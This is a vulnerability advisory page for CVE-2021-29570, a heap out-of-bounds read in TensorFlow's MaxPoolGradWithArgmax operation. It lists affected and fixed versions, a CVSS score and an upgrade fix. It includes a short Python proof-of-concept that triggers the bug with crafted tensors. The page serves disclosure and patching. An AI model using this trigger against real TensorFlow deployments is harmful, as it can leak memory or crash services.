Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. tensorflow
  4. ›
  5. CVE-2021-29570

CVE-2021-29570: Heap out of bounds read in `MaxPoolGradWithArgmax`

May 21, 2021 (updated November 1, 2024)

The implementation of tf.raw_ops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:

import tensorflow as tf

input = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)
grad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)
argmax = tf.constant([1], shape=[1], dtype=tf.int64)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]

tf.raw_ops.MaxPoolGradWithArgmax(
input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,
padding='SAME', include_batch_in_index=False)

References

  • github.com/advisories/GHSA-545v-42p7-98fq
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-498.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-696.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-207.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-545v-42p7-98fq
  • nvd.nist.gov/vuln/detail/CVE-2021-29570

Code Behaviors & Features

Detect and mitigate CVE-2021-29570 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow/CVE-2021-29570.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:14:38 +0000.